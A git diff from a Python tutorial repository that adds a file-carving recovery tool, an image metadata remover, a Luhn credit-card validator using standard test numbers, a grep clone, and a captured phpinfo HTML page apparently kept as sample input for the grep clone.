+# Maximum file sizes to prevent recovering corrupted files +MAX_FILE_SIZES = { + 'jpg': 30 * 1024 * 1024, # 30MB + 'png': 50 * 1024 * 1024, # 50MB + 'gif': 20 * 1024 * 1024, # 20MB + 'pdf': 100 * 1024 * 1024, # 100MB + 'zip': 200 * 1024 * 1024, # 200MB + 'docx': 50 * 1024 * 1024, # 50MB + 'xlsx': 50 * 1024 * 1024, # 50MB + 'pptx': 100 * 1024 * 1024, # 100MB + 'mp3': 50 * 1024 * 1024, # 50MB + 'mp4': 1024 * 1024 * 1024, # 1GB + 'avi': 1024 * 1024 * 1024, # 1GB +} + +class FileRecoveryTool: + def __init__(self, source, output_dir, file_types=None, deep_scan=False, + block_size=512, log_level=logging.INFO, skip_existing=True, + max_scan_size=None, timeout_minutes=None): + """ + Initialize the file recovery tool + + Args: + source (str): Path to the source device or directory + output_dir (str): Directory to save recovered files + file_types (list): List of file types to recover + deep_scan (bool): Whether to perform a deep scan + block_size (int): Block size for reading data + log_level (int): Logging level + skip_existing (bool): Skip existing files in output directory + max_scan_size (int): Maximum number of bytes to scan + timeout_minutes (int): Timeout in minutes + """ + self.source = source + self.output_dir = Path(output_dir) + self.file_types = file_types if file_types else list(FILE_SIGNATURES.keys()) + self.deep_scan = deep_scan + self.block_size = block_size + self.skip_existing = skip_existing + self.max_scan_size = max_scan_size + self.timeout_minutes = timeout_minutes + self.timeout_reached = False + + # Setup logging + self.setup_logging(log_level) + + # Create output directory if it doesn't exist + self.output_dir.mkdir(parents=True, exist_ok=True) + + # Statistics + self.stats = { + 'total_files_recovered': 0, + 'recovered_by_type': {}, + 'start_time': time.time(), + 'bytes_scanned': 0, + 'false_positives': 0 + } + + for file_type in self.file_types: + self.stats['recovered_by_type'][file_type] = 0 + + def setup_logging(self, log_level): + """Set up logging configuration""" + logging.basicConfig( + level=log_level, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.StreamHandler(), + logging.FileHandler(f"recovery_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log") + ] + ) + self.logger = logging.getLogger('file_recovery') + + def _setup_timeout(self): + """Set up a timeout handler""" + if self.timeout_minutes: + def timeout_handler(signum, frame): + self.logger.warning(f"Timeout of {self.timeout_minutes} minutes reached!") + self.timeout_reached = True + + # Set the timeout + signal.signal(signal.SIGALRM, timeout_handler) + signal.alarm(int(self.timeout_minutes * 60)) + + def get_device_size(self): + """Get the size of the device or file""" + if os.path.isfile(self.source): + # Regular file + return os.path.getsize(self.source) + else: + # Block device + try: + # Try using blockdev command (Linux) + result = subprocess.run(['blockdev', '--getsize64', self.source], + capture_output=True, text=True, check=True) + return int(result.stdout.strip()) + except (subprocess.SubprocessError, FileNotFoundError): + try: + # Try using ioctl (requires root) + import fcntl + with open(self.source, 'rb') as fd: + # BLKGETSIZE64 = 0x80081272 + buf = bytearray(8) + fcntl.ioctl(fd, 0x80081272, buf) + return struct.unpack('L', buf)[0] + except: + # Last resort: try to seek to the end + try: + with open(self.source, 'rb') as fd: + fd.seek(0, 2) # Seek to end + return fd.tell() + except: + self.logger.warning("Could not determine device size. Using fallback size.") + # Fallback to a reasonable size for testing + return 1024 * 1024 * 1024 # 1GB + + def scan_device(self): + """Scan the device for deleted files""" + self.logger.info(f"Starting scan of {self.source}") + self.logger.info(f"Looking for file types: {', '.join(self.file_types)}") + + try: + # Get device size + device_size = self.get_device_size() + self.logger.info(f"Device size: {self._format_size(device_size)}") + + # Set up timeout if specified + if self.timeout_minutes: + self._setup_timeout() + self.logger.info(f"Timeout set for {self.timeout_minutes} minutes") + + with open(self.source, 'rb', buffering=0) as device: # buffering=0 for direct I/O + self._scan_device_data(device, device_size) + + except (IOError, OSError) as e: + self.logger.error(f"Error accessing source: {e}") + return False + + self._print_summary() + return True + + def _scan_device_data(self, device, device_size): + """Scan the device data for file signatures""" + position = 0 + + # Limit scan size if specified + if self.max_scan_size and self.max_scan_size < device_size: + self.logger.info(f"Limiting scan to first {self._format_size(self.max_scan_size)} of device") + device_size = self.max_scan_size + + # Create subdirectories for each file type + for file_type in self.file_types: + (self.output_dir / file_type).mkdir(exist_ok=True) + + scan_start_time = time.time() + last_progress_time = scan_start_time + + # Read the device in blocks + while position < device_size: + # Check if timeout reached + if self.timeout_reached: + self.logger.warning("Stopping scan due to timeout") + break + + try: + # Seek to position first + device.seek(position) + + # Read a block of data + data = device.read(self.block_size) + if not data: + break + + self.stats['bytes_scanned'] += len(data) + + # Check for file signatures in this block + for file_type in self.file_types: + signatures = FILE_SIGNATURES.get(file_type, []) + + for signature in signatures: + sig_pos = data.find(signature) + + if sig_pos != -1: + # Found a file signature, try to recover the file + absolute_pos = position + sig_pos + device.seek(absolute_pos) + + self.logger.debug(f"Found {file_type} signature at position {absolute_pos}") + + # Recover the file + if self._recover_file(device, file_type, absolute_pos): + self.stats['total_files_recovered'] += 1 + self.stats['recovered_by_type'][file_type] += 1 + else: + self.stats['false_positives'] += 1 + + # Reset position to continue scanning + device.seek(position + self.block_size) + + # Update position and show progress + position += self.block_size + current_time = time.time() + + # Show progress every 5MB or 10 seconds, whichever comes first + if (position % (5 * 1024 * 1024) == 0) or (current_time - last_progress_time >= 10): + percent = (position / device_size) * 100 if device_size > 0 else 0 + elapsed = current_time - self.stats['start_time'] + + # Calculate estimated time remaining + if position > 0 and device_size > 0: + bytes_per_second = position / elapsed if elapsed > 0 else 0 + remaining_bytes = device_size - position + eta_seconds = remaining_bytes / bytes_per_second if bytes_per_second > 0 else 0 + eta_str = str(timedelta(seconds=int(eta_seconds))) + else: + eta_str = "unknown" + + self.logger.info(f"Progress: {percent:.2f}% ({self._format_size(position)} / {self._format_size(device_size)}) - " + f"{self.stats['total_files_recovered']} files recovered - " + f"Elapsed: {timedelta(seconds=int(elapsed))} - ETA: {eta_str}") + last_progress_time = current_time + + except Exception as e: + self.logger.error(f"Error reading at position {position}: {e}") + position += self.block_size # Skip this block and continue + + def _validate_file_content(self, data, file_type): + """ + Additional validation to reduce false positives + + Args: + data: File data to validate + file_type: Type of file to validate + + Returns: + bool: True if file content appears valid + """ + # Check minimum size + if len(data) < 100: + return False + + # Check for validation patterns + patterns = VALIDATION_PATTERNS.get(file_type, []) + if patterns: + for pattern in patterns: + if pattern in data: + return True + return False # None of the patterns were found + + # For file types without specific validation patterns + return True + + def _recover_file(self, device, file_type, start_position): + """ + Recover a file of the given type starting at the given position + + Args: + device: Open file handle to the device + file_type: Type of file to recover + start_position: Starting position of the file + + Returns: + bool: True if file was recovered successfully + """ + max_size = MAX_FILE_SIZES.get(file_type, 10 * 1024 * 1024) # Default to 10MB + trailer = FILE_TRAILERS.get(file_type) + + # Generate a unique filename + filename = f"{file_type}_{start_position}_{int(time.time())}_{binascii.hexlify(os.urandom(4)).decode()}.{file_type}" + output_path = self.output_dir / file_type / filename + + if self.skip_existing and output_path.exists(): + self.logger.debug(f"Skipping existing file: {output_path}") + return False + + # Save the current position to restore later + current_pos = device.tell() + + try: + # Seek to the start of the file + device.seek(start_position) + + # Read the file data + if trailer and self.deep_scan: + # If we know the trailer and deep scan is enabled, read until trailer + file_data = self._read_until_trailer(device, trailer, max_size) + else: + # Otherwise, use heuristics to determine file size + file_data = self._read_file_heuristic(device, file_type, max_size) + + if not file_data or len(file_data) < 100: # Ignore very small files + return False + + # Additional validation to reduce false positives + if not self._validate_file_content(file_data, file_type): + self.logger.debug(f"Skipping invalid {file_type} file at position {start_position}") + return False + + # Write the recovered file + with open(output_path, 'wb') as f: + f.write(file_data) + + self.logger.info(f"Recovered {file_type} file: {filename} ({self._format_size(len(file_data))})") + return True + + except Exception as e: + self.logger.error(f"Error recovering file at position {start_position}: {e}") + return False + finally: + # Restore the original position + try: + device.seek(current_pos) + except: + pass # Ignore seek errors in finally block + + def _read_until_trailer(self, device, trailer, max_size): + """Read data until a trailer signature is found or max size is reached""" + buffer = bytearray() + chunk_size = 4096 + + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Check if trailer is in the buffer + trailer_pos = buffer.find(trailer, max(0, len(buffer) - len(trailer) - chunk_size)) + if trailer_pos != -1: + # Found trailer, return data up to and including the trailer + return buffer[:trailer_pos + len(trailer)] + except Exception as e: + self.logger.error(f"Error reading chunk: {e}") + break + + # If we reached max size without finding a trailer, return what we have + return buffer if len(buffer) > 100 else None + + def _read_file_heuristic(self, device, file_type, max_size): + """ + Use heuristics to determine file size when trailer is unknown + This is a simplified approach - real tools use more sophisticated methods + """ + buffer = bytearray() + chunk_size = 4096 + valid_chunks = 0 + invalid_chunks = 0 + + # For Office documents and ZIP files, read a larger initial chunk to validate + initial_chunk_size = 16384 if file_type in ['docx', 'xlsx', 'pptx', 'zip'] else chunk_size + + # Read initial chunk for validation + initial_chunk = device.read(initial_chunk_size) + if not initial_chunk: + return None + + buffer.extend(initial_chunk) + + # For Office documents, check if it contains required elements + if file_type in ['docx', 'xlsx', 'pptx', 'zip']: + # Basic validation for Office Open XML files + if file_type == 'docx' and b'word/' not in initial_chunk: + return None + if file_type == 'xlsx' and b'xl/' not in initial_chunk: + return None + if file_type == 'pptx' and b'ppt/' not in initial_chunk: + return None + if file_type == 'zip' and b'PK\x01\x02' not in initial_chunk: + return None + + # Continue reading chunks + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Simple heuristic: for binary files, check if chunk contains too many non-printable characters + # This is a very basic approach and would need to be refined for real-world use + if file_type in ['jpg', 'png', 'gif', 'pdf', 'zip', 'docx', 'xlsx', 'pptx', 'mp3', 'mp4', 'avi']: + # For binary files, we continue reading until we hit max size or end of device + valid_chunks += 1 + + # For ZIP-based formats, check for corruption + if file_type in ['zip', 'docx', 'xlsx', 'pptx'] and b'PK' not in chunk and valid_chunks > 10: + # If we've read several chunks and don't see any more PK signatures, we might be past the file + invalid_chunks += 1 + + else: + # For text files, we could check for text validity + printable_ratio = sum(32 <= b <= 126 or b in (9, 10, 13) for b in chunk) / len(chunk) + if printable_ratio < 0.7: # If less than 70% printable characters + invalid_chunks += 1 + else: + valid_chunks += 1 + + # If we have too many invalid chunks in a row, stop + if invalid_chunks > 3: + return buffer[:len(buffer) - (invalid_chunks * chunk_size)] + except Exception as e: + self.logger.error(f"Error reading chunk in heuristic: {e}") + break + + return buffer + + def _format_size(self, size_bytes): + """Format size in bytes to a human-readable string""" + for unit in ['B', 'KB', 'MB', 'GB', 'TB']: + if size_bytes < 1024 or unit == 'TB': + return f"{size_bytes:.2f} {unit}" + size_bytes /= 1024 + + def _print_summary(self): + """Print a summary of the recovery operation""" + elapsed = time.time() - self.stats['start_time'] + + self.logger.info("=" * 50) + self.logger.info("Recovery Summary") + self.logger.info("=" * 50) + self.logger.info(f"Total files recovered: {self.stats['total_files_recovered']}") + self.logger.info(f"False positives detected and skipped: {self.stats['false_positives']}") + self.logger.info(f"Total data scanned: {self._format_size(self.stats['bytes_scanned'])}") + self.logger.info(f"Time elapsed: {timedelta(seconds=int(elapsed))}") + self.logger.info("Files recovered by type:") + + for file_type, count in self.stats['recovered_by_type'].items(): + if count > 0: + self.logger.info(f" - {file_type}: {count}") + + if self.timeout_reached: + self.logger.info("Note: Scan was stopped due to timeout") + + self.logger.info("=" * 50) + + +def main(): + """Main function to parse arguments and run the recovery tool""" + parser = argparse.ArgumentParser(description='File Recovery Tool - Recover deleted files from storage devices') + + parser.add_argument('source', help='Source device or directory to recover files from (e.g., /dev/sdb, /media/usb)') + parser.add_argument('output', help='Directory to save recovered files') + + parser.add_argument('-t', '--types', nargs='+', choices=FILE_SIGNATURES.keys(), default=None, + help='File types to recover (default: all supported types)') + + parser.add_argument('-d', '--deep-scan', action='https://github.com/store_true', + help='Perform a deep scan (slower but more thorough)') + + parser.add_argument('-b', '--block-size', type=int, default=512, + help='Block size for reading data (default: 512 bytes)') + + parser.add_argument('-v', '--verbose', action='https://github.com/store_true', + help='Enable verbose output') + + parser.add_argument('-q', '--quiet', action='https://github.com/store_true', + help='Suppress all output except errors') + + parser.add_argument('--no-skip', action='https://github.com/store_true', + help='Do not skip existing files in output directory') + + parser.add_argument('--max-size', type=int, + help='Maximum size to scan in MB (e.g., 1024 for 1GB)') + + parser.add_argument('--timeout', type=int, default=None, + help='Stop scanning after specified minutes') + + args = parser.parse_args() + + # Set logging level based on verbosity + if args.quiet: + log_level = logging.ERROR + elif args.verbose: + log_level = logging.DEBUG + else: + log_level = logging.INFO + + # Convert max size from MB to bytes if specified + max_scan_size = args.max_size * 1024 * 1024 if args.max_size else None + + # Create and run the recovery tool + recovery_tool = FileRecoveryTool( + source=args.source, + output_dir=args.output, + file_types=args.types, + deep_scan=args.deep_scan, + block_size=args.block_size, + log_level=log_level, + skip_existing=not args.no_skip, + max_scan_size=max_scan_size, + timeout_minutes=args.timeout + ) + + try: + recovery_tool.scan_device() + except KeyboardInterrupt: + print("\nRecovery process interrupted by user.") + recovery_tool._print_summary() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/python-for-multimedia/remove-metadata-from-images/README.md b/python-for-multimedia/remove-metadata-from-images/README.md new file mode 100644 index 00000000..f1fd7f5c --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python) \ No newline at end of file diff --git a/python-for-multimedia/remove-metadata-from-images/clear_metadata.py b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py new file mode 100644 index 00000000..093f6432 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py @@ -0,0 +1,33 @@ +# Import necessary libraries. +import argparse +from PIL import Image + + +# Function to clear Metadata from a specified image. +def clear_all_metadata(imgname): + + # Open the image file + img = Image.open(imgname) + + # Read the image data, excluding metadata. + data = list(img.getdata()) + + # Create a new image with the same mode and size but without metadata. + img_without_metadata = Image.new(img.mode, img.size) + img_without_metadata.putdata(data) + + # Save the new image over the original file, effectively removing metadata. + img_without_metadata.save(imgname) + + print(f"Metadata successfully cleared from '{imgname}'.") + +# Setup command line argument parsing +parser = argparse.ArgumentParser(description="Remove metadata from an image file.") +parser.add_argument("img", help="Image file from which to remove metadata") + +# Parse arguments +args = parser.parse_args() + +# If an image file is provided, clear its metadata +if args.img: + clear_all_metadata(args.img) diff --git a/python-for-multimedia/remove-metadata-from-images/requirements.txt b/python-for-multimedia/remove-metadata-from-images/requirements.txt new file mode 100644 index 00000000..5873a222 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/requirements.txt @@ -0,0 +1 @@ +Pillow \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/README.md b/python-standard-library/credit-card-validation/README.md new file mode 100644 index 00000000..bee74fdd --- /dev/null +++ b/python-standard-library/credit-card-validation/README.md @@ -0,0 +1 @@ +# [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python) \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/credit_card_validation.py b/python-standard-library/credit-card-validation/credit_card_validation.py new file mode 100644 index 00000000..57a82f5b --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_card_validation.py @@ -0,0 +1,85 @@ +import argparse # Import argparse for command-line argument parsing +import re # Import re for regular expression matching + +# Validate credit card number using Luhn Algorithm +def luhn_algorithm(card_number): + def digits_of(n): + return [int(d) for d in str(n)] # Convert each character in the number to an integer + + digits = digits_of(card_number) # Get all digits of the card number + odd_digits = digits[-1::-2] # Get digits from the right, skipping one digit each time (odd positions) + even_digits = digits[-2::-2] # Get every second digit from the right (even positions) + + checksum = sum(odd_digits) # Sum all odd position digits + for d in even_digits: + checksum += sum(digits_of(d*2)) # Double each even position digit and sum the resulting digits + + return checksum % 10 == 0 # Return True if checksum modulo 10 is 0 + + +# Function to check credit card number using Luhn's alogorithm +def check_credit_card_number(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + if not card_number.isdigit(): # Check if the card number contains only digits + return False + return luhn_algorithm(card_number) # Validate using the Luhn algorithm + +# Function to get the card type based on card number using RegEx +def get_card_type(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + card_types = { + "Visa": r"^4[0-9]{12}(?:[0-9]{3})?$", # Visa: Starts with 4, length 13 or 16 + "MasterCard": r"^5[1-5][0-9]{14}$", # MasterCard: Starts with 51-55, length 16 + "American Express": r"^3[47][0-9]{13}$", # AmEx: Starts with 34 or 37, length 15 + "Discover": r"^6(?:011|5[0-9]{2})[0-9]{12}$", # Discover: Starts with 6011 or 65, length 16 + "JCB": r"^(?:2131|1800|35\d{3})\d{11}$", # JCB: Starts with 2131, 1800, or 35, length 15 or 16 + "Diners Club": r"^3(?:0[0-5]|[68][0-9])[0-9]{11}$", # Diners Club: Starts with 300-305, 36, or 38, length 14 + "Maestro": r"^(5018|5020|5038|56|57|58|6304|6759|676[1-3])\d{8,15}$", # Maestro: Various starting patterns, length 12-19 + "Verve": r"^(506[01]|507[89]|6500)\d{12,15}$" # Verve: Starts with 5060, 5061, 5078, 5079, or 6500, length 16-19 + } + + for card_type, pattern in card_types.items(): + if re.match(pattern, card_number): # Check if card number matches the pattern + return card_type + return "Unknown" # Return Unknown if no pattern matches + + +# Processing a file containing card numbers. +def process_file(file_path): + + try: + with open(file_path, 'r') as file: # Open the file for reading + card_numbers = file.readlines() # Read all lines from the file + results = {} + for card_number in card_numbers: + card_number = card_number.strip() # Remove any leading/trailing whitespace + is_valid = check_credit_card_number(card_number) # Validate card number + card_type = get_card_type(card_number) # Detect card type + results[card_number] = (is_valid, card_type) # Store result + return results + except Exception as e: + print(f"Error reading file: {e}") # Print error message if file cannot be read + return None + + +def main(): + parser = argparse.ArgumentParser(description="Check if a credit card number is legitimate and identify its type using the Luhn algorithm.") + parser.add_argument('-n', '--number', type=str, help="A single credit card number to validate.") # Argument for single card number + parser.add_argument('-f', '--file', type=str, help="A file containing multiple credit card numbers to validate.") # Argument for file input + + args = parser.parse_args() # Parse command-line arguments + + if args.number: + is_valid = check_credit_card_number(args.number) # Validate single card number + card_type = get_card_type(args.number) # Detect card type + print(f"[!] Credit card number {args.number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print result + + if args.file: + results = process_file(args.file) # Process file with card numbers + if results: + for card_number, (is_valid, card_type) in results.items(): + print(f"[!] Credit card number {card_number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print results for each card number + +# Execute tha main function +if __name__ == '__main__': + main() diff --git a/python-standard-library/credit-card-validation/credit_cards.txt b/python-standard-library/credit-card-validation/credit_cards.txt new file mode 100644 index 00000000..b0a33fe6 --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_cards.txt @@ -0,0 +1,3 @@ +4111111111111111 +5555555555554444 +378282246310005 \ No newline at end of file diff --git a/python-standard-library/grep-clone/README.md b/python-standard-library/grep-clone/README.md new file mode 100644 index 00000000..e6023461 --- /dev/null +++ b/python-standard-library/grep-clone/README.md @@ -0,0 +1 @@ +# [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python) \ No newline at end of file diff --git a/python-standard-library/grep-clone/grep_python.py b/python-standard-library/grep-clone/grep_python.py new file mode 100644 index 00000000..b3f3fa14 --- /dev/null +++ b/python-standard-library/grep-clone/grep_python.py @@ -0,0 +1,33 @@ +# Import the necessary libraries. +import re, sys +from colorama import init, Fore + +# Initialize colorama. +init() + +# Grep function. +def grep(pattern, filename): + try: + found_match = False + with open(filename, 'r') as file: + for line in file: + if re.search(pattern, line): + # Print matching lines in green. + print(Fore.GREEN + line.strip() + "\n") # We are including new lines to enhance readability. + found_match = True + if not found_match: + # Print message in red if no content is found. + print(Fore.RED + f"No content found matching the pattern '{pattern}'.") + except FileNotFoundError: + # Print error message in red if the file is not found. + print(Fore.RED + f"File '{filename}' not found.") + + +if len(sys.argv) != 3: + # Print usage message in red if the number of arguments is incorrect. + print(Fore.RED + "Usage: python grep_python.py ") + sys.exit(1) + +pattern = sys.argv[1] +filename = sys.argv[2] +grep(pattern, filename) diff --git a/python-standard-library/grep-clone/phpinfo.php b/python-standard-library/grep-clone/phpinfo.php new file mode 100644 index 00000000..6d4df079 --- /dev/null +++ b/python-standard-library/grep-clone/phpinfo.php @@ -0,0 +1,800 @@ + + + +PHP 7.4.3-4ubuntu2.20 - phpinfo() +
+ + +
+PHP logo

PHP Version 7.4.3-4ubuntu2.20

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
System Linux cf00c9c42b69 4.14.336-257.562.amzn2.x86_64 #1 SMP Sat Feb 24 09:50:35 UTC 2024 x86_64
Build Date Feb 21 2024 13:54:34
Server API CGI/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path /etc/php/7.4/cgi
Loaded Configuration File /etc/php/7.4/cgi/php.ini
Scan this dir for additional .ini files /etc/php/7.4/cgi/conf.d
Additional .ini files parsed /etc/php/7.4/cgi/conf.d/10-opcache.ini, +/etc/php/7.4/cgi/conf.d/10-pdo.ini, +/etc/php/7.4/cgi/conf.d/15-xml.ini, +/etc/php/7.4/cgi/conf.d/20-calendar.ini, +/etc/php/7.4/cgi/conf.d/20-ctype.ini, +/etc/php/7.4/cgi/conf.d/20-dom.ini, +/etc/php/7.4/cgi/conf.d/20-exif.ini, +/etc/php/7.4/cgi/conf.d/20-ffi.ini, +/etc/php/7.4/cgi/conf.d/20-fileinfo.ini, +/etc/php/7.4/cgi/conf.d/20-ftp.ini, +/etc/php/7.4/cgi/conf.d/20-gettext.ini, +/etc/php/7.4/cgi/conf.d/20-iconv.ini, +/etc/php/7.4/cgi/conf.d/20-json.ini, +/etc/php/7.4/cgi/conf.d/20-phar.ini, +/etc/php/7.4/cgi/conf.d/20-posix.ini, +/etc/php/7.4/cgi/conf.d/20-readline.ini, +/etc/php/7.4/cgi/conf.d/20-shmop.ini, +/etc/php/7.4/cgi/conf.d/20-simplexml.ini, +/etc/php/7.4/cgi/conf.d/20-sockets.ini, +/etc/php/7.4/cgi/conf.d/20-sysvmsg.ini, +/etc/php/7.4/cgi/conf.d/20-sysvsem.ini, +/etc/php/7.4/cgi/conf.d/20-sysvshm.ini, +/etc/php/7.4/cgi/conf.d/20-tokenizer.ini, +/etc/php/7.4/cgi/conf.d/20-xmlreader.ini, +/etc/php/7.4/cgi/conf.d/20-xmlwriter.ini, +/etc/php/7.4/cgi/conf.d/20-xsl.ini, +/etc/php/7.4/cgi/conf.d/99-academy.ini +
PHP API 20190902
PHP Extension 20190902
Zend Extension 320190902
Zend Extension Build API320190902,NTS
PHP Extension Build API20190902,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support disabled
IPv6 Support enabled
DTrace Support available, disabled
Registered PHP Streamshttps, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filterszlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*
+ + +
+Zend logo +This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3-4ubuntu2.20, Copyright (c), by Zend Technologies
+
+

Configuration

+

calendar

+ + +
Calendar support enabled
+

cgi-fcgi

+ + + + + + + + + + +
DirectiveLocal ValueMaster Value
cgi.check_shebang_line11
cgi.discard_path00
cgi.fix_pathinfo11
cgi.force_redirect11
cgi.nph00
cgi.redirect_status_envno valueno value
cgi.rfc2616_headers00
fastcgi.logging11
+

Core

+ + +
PHP Version 7.4.3-4ubuntu2.20
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionspcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
display_errorsOffOff
display_startup_errorsOffOff
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOffOff
enable_post_data_readingOnOn
error_append_stringno valueno value
error_logno valueno value
error_prepend_stringno valueno value
error_reporting2252722527
expose_phpOffOff
extension_dir/usr/lib/php/20190902/usr/lib/php/20190902
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/usr/share/php.:/usr/share/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOnOn
log_errors_max_len10241024
mail.add_x_headerOffOff
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time3030
max_file_uploads2020
max_input_nesting_level6464
max_input_time6060
max_input_vars10001000
max_multipart_body_parts-1-1
memory_limit128M128M
open_basedirno valueno value
output_buffering40964096
output_encodingno valueno value
output_handlerno valueno value
post_max_size8M8M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOffOff
report_memleaksOnOn
report_zend_debugOnOn
request_orderGPGP
sendmail_fromno valueno value
sendmail_path/usr/sbin/sendmail -t -i /usr/sbin/sendmail -t -i 
serialize_precision-1-1
short_open_tagOffOff
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
syslog.facilityLOG_USERLOG_USER
syslog.filterno-ctrlno-ctrl
syslog.identphpphp
track_errorsOffOff
unserialize_callback_funcno valueno value
upload_max_filesize2M2M
upload_tmp_dirno valueno value
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderGPCSGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions-1-1
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.exception_ignore_argsOffOff
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff
+

ctype

+ + +
ctype functions enabled
+

date

+ + + + + + +
date/time support enabled
timelib version 2018.03
"Olson" Timezone Database Version 0.system
Timezone Database internal
Default timezone UTC
+ + + + + + + +
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneno valueno value
+

dom

+ + + + + + + + + +
DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.10
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled
+

exif

+ + + + + + +
EXIF Support enabled
Supported EXIF Version 0220
Supported filetypes JPEG, TIFF
Multibyte decoding support using mbstring disabled
Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
+ + + + + + + + +
DirectiveLocal ValueMaster Value
exif.decode_jis_intelJISJIS
exif.decode_jis_motorolaJISJIS
exif.decode_unicode_intelUCS-2LEUCS-2LE
exif.decode_unicode_motorolaUCS-2BEUCS-2BE
exif.encode_jisno valueno value
exif.encode_unicodeISO-8859-15ISO-8859-15
+

FFI

+ + +
FFI supportenabled
+ + + + +
DirectiveLocal ValueMaster Value
ffi.enablepreloadpreload
ffi.preloadno valueno value
+

fileinfo

+ + + +
fileinfo support enabled
libmagic 537
+

filter

+ + +
Input Validation and Filtering enabled
+ + + + +
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value
+

ftp

+ + + +
FTP support enabled
FTPS support enabled
+

gettext

+ + +
GetText Support enabled
+

hash

+ + + +
hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
+ + + +
MHASH support Enabled
MHASH API Version Emulated Support
+

iconv

+ + + + +
iconv support enabled
iconv implementation glibc
iconv library version 2.31
